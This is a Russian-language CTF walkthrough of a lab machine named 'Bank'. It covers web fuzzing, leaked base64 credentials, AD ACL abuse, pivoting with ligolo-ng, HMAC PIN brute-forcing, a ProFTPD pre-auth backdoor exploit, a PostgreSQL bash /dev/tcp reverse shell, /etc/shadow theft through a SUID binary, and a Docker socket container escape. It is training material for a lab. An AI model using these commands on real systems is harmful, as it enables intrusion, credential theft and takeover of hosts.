Bank — сложная машина от aclabs.pro со взломом пин-кода, пивотингом и побегом из контейнера

Сложный таск с 6 флагами и 2 машинами. В первой зоне видимости у нас Windows машина с вебом, через который получаем доступ по winrm с первым флагом. Затем на этой машине повышаем привилегии через acl. Далее находим второй сетевой интерфейс, где обнаруживаем другой хост уже с linux на борту. Встречаем еще один веб, в котором нужно подобрать пин-код (третий флаг).
После открытия хранилища нас ждет новый порт, при первом скане, он был недоступен. Проэксплуатировав уязвимость, получаем доступ к контейнеру, в корне лежит 4 флаг. Далее находим кастомный бинарник, его придется разреверсить, чтобы понять, что именно он делает, а также прочитать файл etc/shadow. Из него получаем хэш рута и становимся владельцем контейнера (5 флаг).
В завершение проверим файл /var/run/docker.sock, который будет доступен на запись и сможем примонтировать хостовую файловую систему и прочитать финальный флаг рута на хосте.
Маппинг MITRE ATT&CK
Использована матрица от Positive Technologies.
Фаза | Тактика | Техника | ID |
|---|---|---|---|
Сканирование портов |
| ||
Поиск скрытых файлов в исходном коде |
| ||
Учётные данные в Base64 в скрипте |
| ||
Удалённый доступ через WinRM |
| ||
Злоупотребление ACL (GenericWrite) |
| ||
Сканирование внутренней сети |
| ||
Перебор HMAC PIN-кода |
| ||
Бэкдор в ProFTPD (pre-auth) |
| ||
PostgreSQL COPY FROM PROGRAM |
| ||
Злоупотребление SUID-бинарником |
| ||
Доступ к /etc/shadow |
| ||
Побег из контейнера через Docker socket |
|
Разведка
Первичный анализ цели, сбор информации.
sudo nmap -sC -sV -v 10.10.10.211 -Pn
...
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-29 08:02:26Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bank.acl, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bank.acl, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)У нас много портов, типичные для windows domain controller + веб на 80 порту. Сразу имеет смысл проверить сайт.
На входе нас встречает сотрудник банка Котофей Шерстяной, который работает за еду…

Данная инфа не особо поможет, в продвижении, но юмор мне нравится.
Взглянем на исходники страницы и увидим подсказку.

У нас есть страница devops.php, которую стоит внимательно изучить.

Здесь есть несколько подсказок, которые натолкнут на нужный вектор атаки. Из документации понятно, что есть папка employes, и текстовые файлы сотрудников лежат там, но скрытые файлы не отображаются, однако это не значит, что их там нет. Они просто не отображаются, но счетчик при этом увеличивается.
Поэтому заряжаем ffuf.
Фаззинг директорий и скрытых файлов
Команда здесь будет обычная, только добавим . перед словом FUZZ, и укажем тип расширения файлов .txt.
ffuf -u http://10.10.10.211/employees/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ic -c -e .txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.211/employees/.FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Extensions : .txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 403, Size: 1233, Words: 73, Lines: 30, Duration: 98ms]
script.txt [Status: 200, Size: 3159, Words: 355, Lines: 84, Duration: 87ms]Практически сразу находим скрытый файл script.txt.
Если откроем данный файл в браузере, то кириллица будет неправильно отображаться, поэтому я открыл файл через curl.

Здесь меня заинтересовала строка encoded_credentials, очень похоже, что она закодирована в base64. Проверим теорию.
echo 'd2ViLXNydiA6IEZoM296RmFHM3lMeWhOIXA=' | base64 -d
web-srv : Fh3ozFaG3yLyhN!p Нужно проверить, валидные ли креды от winrm.
nxc winrm 10.10.10.211 -u web-srv -p 'Fh3ozFaG3yLyhN!p'
WINRM 10.10.10.211 5985 WIN-TSQ2V8LHSN5 [*] Windows Server 2022 Build 20348 (name:WIN-TSQ2V8LHSN5) (domain:bank.acl)
WINRM 10.10.10.211 5985 WIN-TSQ2V8LHSN5 [+] bank.acl\web-srv:Fh3ozFaG3yLyhN!p (Pwn3d!)Видим плашку (Pwn3d!), а значит спокойно можем подключаться через evil-winrm.
Эксплуатация и первый флаг
Подключаемся, берем первый флаг на рабочем столе пользователя web-srv.
evil-winrm -i 10.10.10.211 -u 'web-srv' -p 'Fh3ozFaG3yLyhN!p'Повышение привилегий и второй флаг
На этом шаге я потерял много времени, изучая вывод winPeas, Sharphound, PowerUP и другие утилиты, эксплуатируя неверные вектора атак.
На будущее нужно внимательнее изучать окружения и группы, которые есть в системе, даже если они пустые…
Для начала нужно глянуть, какие права есть у пользователя.

С такими правами, особо не разгонишься, поэтому продолжаем разведку далее.
Загрузил sharphound и собрал инфу о системе, bloodhound отказывался работать, в моем случае.

Из вывода, видно, что мы имеем право GenericWrite на группу Server Operators.
Добавим себя в группу Server Operators.
Add-ADGroupMember -Identity "Server Operators" -Members "web-srv"Команда успешно отработала, поэтому перелогинимся с теми же кредами и проверим свои привилегии еще раз.

Здесь уже есть где развернуться, есть крутые привилегии SeBackupprivilege and SeRestoreprivilege, через которые можно повыситься уже до NT Authority system.
Однако в рамках данной машины, я не буду повышаться до прав системы, мне это не нужно. С привилегиями SeBackupPrivillege я просто могу скопировать содержимое папки Administrator/Desktop в свою рабочую директорию пользователя.
Я воспользуюсь утилитой Robocopy (Robust File Copy).
robocopy /b C:\Users\Administrator\Desktop C:\Users\web-srv\Desktop /EФлаг /b (Backup mode), /E означает рекурсивное копирование всех вложенных папок.
Теперь все, что лежало в папке администратора, где нам был доступ запрещен, лежит на нашем рабочем столе и мы можем спокойно читать второй флаг.
Поиск третьего флага
Поскольку второй флаг взят, а нужно найти еще 4, то я предположил, что есть еще один, а возможно и не один хост, в другой подсети.
Для начала глянем на сетевые интерфейсы.
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.10.10.211
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.1
Ethernet adapter Ethernet 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.10.20.5
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.20.1Как видно, у нас есть еще один адаптер с другой подсетью, а значит скрытые хосты.
Здесь я столкнулся с той же проблемой, сканирования подсетей через nmap. Я не знал, про флаг -unprivileged и у меня были постоянно неадекватные результаты сканирования, в основном вся подсеть была в статусе UP.
Но я недавно проходил машину Borderlands на THM и там эту проблему обходили с помощью сканера на питоне, чем я и воспользовался.
Прямо из evil-winrm запускаем скан.
$subnet = "10.10.20."
$targets = 1..254 | ForEach-Object { "$subnet$_" }
$ports = @(80)
foreach($t in $targets){
foreach($p in $ports){
$tcp = New-Object System.Net.Sockets.TcpClient
$r = $tcp.BeginConnect($t,$p,$null,$null)
if($r.AsyncWaitHandle.WaitOne(200,$false) -and $tcp.Connected){
"$t`:$p OPEN"
}
$tcp.Close()
}
}Вот таким скриптом, можно просканировать любую подсеть, с любым количеством портов. Этот сканер конечно медленнее, тем не менее он работает. Однако можно было воспользоваться nmap или rustscan.

Хост, обнаружен. Пришло время, пивотинга.
Пивотинг и туннелирование
Чтобы взаимодействовать с другой подсетью, будем использовать ligolo-ng.
У себя поднимаем сервер.
sudo ligolo-proxy -selfcertНа windows машину загружаем клиент лиголо и подключаемся к нашей кали.
.\ligolo-windows.exe -connect 10.20.10.3:11601 -ignore-cert
Получаем коннект, настраиваем autoroute, создаем виртуальный интерфейс и запускаем. Теперь можем достучаться до нового хоста прямо из браузера, потому что там был 80 порт.

Изначально было непонятно, что с этим делать и как подбирать этот код. Я пофазил и нашел файл status.txt, но он оказался пустой, также попереворачивал картинку, steghid’ом и другими утилитами, но ничего похожего на pin не было.
Через бурп наткнулся на параметр vault-signature, который я проверил через hashes.com им оказался sha256.

Подбор пин-кода и скрипт на python
Далее стал искать информацию и вот мне гугл подсказал, что нужно капнуть в сторону hmac (hash based authentification code).

Это как раз, то, что нужно.
Далее пишем код на python.
import hmac, hashlib
target = "vault-signature"
for i in range(100_000_000):
pin = f"{i:08d}".encode()
sig = hmac.new(pin, b"Vault7", hashlib.sha256).hexdigest()
if sig == target:
print(f"PIN FOUND: {pin.decode()}")
breakЗдесь достаточно импортировать 2 библиотеки, hashlib, hmac. Далее вводим сессионную sha256 сигнатуру. Известно, что у нас комбинация из 8 цифр, а значит 100 миллионов комбинаций.
Форматирование f"{i:08d}" берет число (например, 42) и добивает его нулями слева до 8 символов (00000042).
Метод .encode() переводит эту строку в сырые байты (формат b"00000042"). Криптографические функции в Python работают только с байтами, а не с текстом.
Сервер формировал куку vault-signature с помощью механизма HMAC.
Функция вычисляет хэш, а метод .hexdigest() превращает результат в ту самую читаемую строку из 64 шестнадцатеричных символов.
Если сгенерированный скриптом хэш совпадает с кукой от сервера — мы нашли тот самый PIN. Перебор останавливается.
Если все сделали правильно, увидим пин код, который откроет хранилище.

Здесь же вываливается третий флаг, поэтому берем и валидируем.
Свежая уязвимость в ftp, проброс реверс-шелла через postgres и четвертый флаг
Экватор пройден, осталось 3 флага, но куда идти? Я прошелся по старому серваку на windows в надежде, что там появится, что-нибудь интересное, но там ничего не было.
Далее я пофазил еще разок новый сервер, и там файл status.txt сменил вес, и его можно прочитать. Там оказалось слово "opened".
Это сразу меня навело на мысль, что должен открыться новый порт.
Кстати отдельные сервера, nmap под ligolo-ng сканит нормально.
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
80/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-title: Vault2 \xE2\x80\x94 SECURE ACCESS
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
5432/tcp open postgresql PostgreSQL DBУ нас появились 2 новых порта. Нужно узнать, что там с фтп.
ftp 10.10.20.227
Connected to 10.10.20.227.
220 ProFTPD Server (1.3.9) [::ffff:172.18.0.3]На эту версию proftpd есть cve, которая сразу может дать rce без предварительной аутентификации. Но она у меня никак не хотела отрабатывать. CVE-2026-42167
RCE мне не прилетел, однако бэкдор в фтп сработал.
~ python3 preauth_user_backdoor.py --host 10.10.20.227 --port 21
======================================================================
CVE-2026-42167: Pre-auth backdoor injection via is_escaped_text() bypass
======================================================================
[*] Connecting to 10.10.20.227:21...
[*] Banner: 220 ProFTPD Server (1.3.9) [::ffff:172.18.0.3]
[*] Verifying 'backdoor' doesn't exist yet...
[*] Confirmed: login rejected (530)
[*] Injecting backdoor user via SQL injection (pre-auth)...
[*] Payload: 101 bytes, passes is_escaped_text() check
[*] Injection sent (login fails — injection fires via ERR_* SQLLog)
[*] Logging in as injected user 'backdoor'...
220 ProFTPD Server (1.3.9) [::ffff:172.18.0.3]
331 Password required for backdoor
230 User backdoor logged in
257 "/" is the current directory
221 Goodbye.
[+] SUCCESS — User 'backdoor' injected and login confirmed!
[+] Homedir is / with uid=0 — full filesystem access
[+] VERDICT: TRUE POSITIVE — Pre-auth SQLi → root FTP access
======================================================================Смотрим исходники скрипта, чтобы узнать какой пароль и логинимся с помощью юзера backdoor.
Здесь я очень долго искал то, что может помочь. Домашняя папка пуста, флагов нет, потому что это был контейнер, можно было увидеть при подключении.
Вообщем после многочасовых поисков, я нашел файл /etc/proftpd/proftpd.conf в котором были креды для подключения к базе данных postgres.

Пробуем подключится к базе данных.

Проверяем права и видим superuser, а значит мы сможем пробросить себе реверс шелл.
Вот на этом моменте я тоже затупил и кидал реверс шеллы, на мою кали, которая находится в другой подсети, потому как забыл, что проброшен тунель через ligolo. Для начала поднимем слушатель на виндовом сервере, чтобы он принимал подключения.
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.20.5/4444 0>&1"';
Реверс непонятного бинарника и пятый флаг
Как уже понятно из окружения это контейнер, при чем непривилегированный, у нас пользователь postgres, а это значит, что повышать права нужно сначала в контейнере.
Можно и линпис вгрузить, но я сначала проверил руками судники и глаз зацепился на нестандартный /usr/bin/cati.
postgres@371e4381f56b:/$ find . -perm /4000
find . -perm /4000
find: ‘./root’: Permission denied
./usr/bin/su
./usr/bin/chsh
./usr/bin/newgrp
./usr/bin/mount
./usr/bin/umount
./usr/bin/chfn
./usr/bin/gpasswd
./usr/bin/passwd
./usr/bin/cati
При его запуске, ничего видимого не происходит, как буд-то перезагружается sh, но изменений нет. Это бинарный файл, поэтому передаем к себе на машину и будем реверсить при помощи ghidra.
В этом кострированном контейнере есть curl, поэтому воспользуемся курлом и питоном.
У нас открываем сервер на питоне, но при помощи модуля uploadserver, чтобы принять файл, а не как обычно передать на тачку линпис.
pip install uploadserver
python3 -m uploadserver 8000Также добавляем еще один листенер в лиголо, потому как не забываем где мы находимся…
listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:8000Теперь на контейнере передаем с помощью курла бинарник
curl -F 'files=@/usr/bin/cati' http://10.10.20.5:8000/uploadЕсли все сделали правильно, должны увидеть отстук на сервере и сам файл.
python3 -m uploadserver 8000
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [29/Jun/2026 17:29:27] [Uploaded] "cati" --> /home/den/aclabs/bank/cati
127.0.0.1 - - [29/Jun/2026 17:29:27] "POST /upload HTTP/1.1" 204 -Сейчас файл передался и теперь на будущее, если с файлом, что не так, нужно проверить хэш сумму.
postgres@371e4381f56b:/$ md5sum /usr/bin/cati
md5sum /usr/bin/cati
bc47ec77ddd8241529723377d04cfcac /usr/bin/cati
md5sum cati
bc47ec77ddd8241529723377d04cfcac catiВ прошлый раз я передал файл через postgres и он у меня передался на 10 кб меньше, я не сверил хэш суммы и думал, что это было по сценарию. При реверсе файл выдавал лютые ошибки и нечитаемый код.
Реверсим.

Теперь стало понятнее, что происходит. При запуске бинарника присваивается uid=0, а это рут, и читается файл /var/www/html/input.
Собственно, нужно сделать, так чтобы прочить файл, который недоступен от обычного юзера. Таким файлом является etc/shadow, где хранятся хэши пользователей. Сделать это можно с помощью символических ссылок.
ln -s /etc/shadow /var/www/html/inputpostgres@e29b8c5ed64a:~/data$ /usr/bin/cati
/usr/bin/cati
root:$6$nxGr5FDXne2CqqAp$ZHJIV059PkH8fZbt8s/yXb4QjZLnSM3vGCAQf4rNpo9YF6wXXiYr5kt4uFxdAmwgkpIWJmmYQdakXuFqEhQx20:20578:0:99999:7:::
daemon:*:20578:0:99999:7:::
Получаем хэш рута, брутим и становимся хозяином контейнера, забираем пятый флаг.
Последний флаг, последний побег из контейнера (или нет?)
Рут в контейнере, но не на хосте. Поэтому ищем способы выбраться из контейнера.
Решил проверить стандартные пути побега и обнаружил интересную вещь, которая была недоступна от пользователя postgress.
ls -la /var/run/docker.sock
srw-rw---- 1 root 103 0 Jun 29 15:00 /var/run/docker.sockМеханика уязвимости
Файл /var/run/docker.sock — это UNIX-сокет, через который Docker-клиент отправляет команды Docker-демону (dockerd). Сам демон Docker работает на хосте с максимальными привилегиями (root).
Если вы находитесь внутри контейнера и у вас есть права на запись в этот сокет, вы можете “попросить” демон Docker на хосте сделать что угодно. Демон не проверяет, откуда пришел запрос — с хоста или из контейнера, для него важен только доступ к сокету.
Поэтому мы просто примонтируем хостовую файловую систему и прочитаем финальный флаг.
Создаем привилегированный контейнер
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["ls", "-la", "var/tmp/root"],
"Binds": ["/:/var/tmp"],
"Privileged": true
}'{"Id":"7832d67d794a1454ed561fe17c44aa97b1240bd5848c4ab0056dfe835a548dd3","Warnings":[]}Запускаем контейнер и читаем вывод команды, вдруг файл с флагом называется по-другому.
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/7832d67d794a1454ed561fe17c44aa97b1240bd5848c4ab0056dfe835a548dd3/start
curl -s --unix-socket /var/run/docker.sock \
"http://localhost/containers/7832d67d794a1454ed561fe17c44aa97b1240bd5848c4ab0056dfe835a548dd3/logs?stdout=1&stderr=1"
total 52
;drwx------ 5 root root 4096 Jun 1 10:47 .
<drwxr-xr-x 18 root root 4096 Jun 1 10:10 ..
G-rw------- 1 root root 7628 Jun 6 10:13 .bash_history
A-rw-r--r-- 1 root root 607 Mar 2 21:50 .bashrc
Adrwx------ 3 root root 4096 May 13 14:42 .docker
B-rw------- 1 root root 20 Jun 1 10:47 .lesshst
@drwxrwxr-x 3 root root 4096 May 7 11:56 .local
B-rw-r--r-- 1 root root 132 Mar 2 21:50 .profile
J-rw-rw-r-- 1 root root 66 Jun 1 10:22 .selected_editor
>drwx------ 2 root root 4096 May 19 11:04 .ssh
D-rw-rw-r-- 1 root root 207 May 7 12:37 .wget-hsts
B-rw-rw-r-- 1 root root 38 Jun 29 15:01 root.txtТеперь остается только прочитать флаг, меняем команду, айдишник уже будет новый, повторяем действия и читаем финальный файл рута.

Mr.Exploit - создатель этой машины, показал более практичный, на мой взгляд метод решения с реверс-шеллом. Я об этом даже не подумал, во время решения этой машины и решил таким образом.
А полный видео разбор можно посмотреть на yotube канале mister exploit
KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.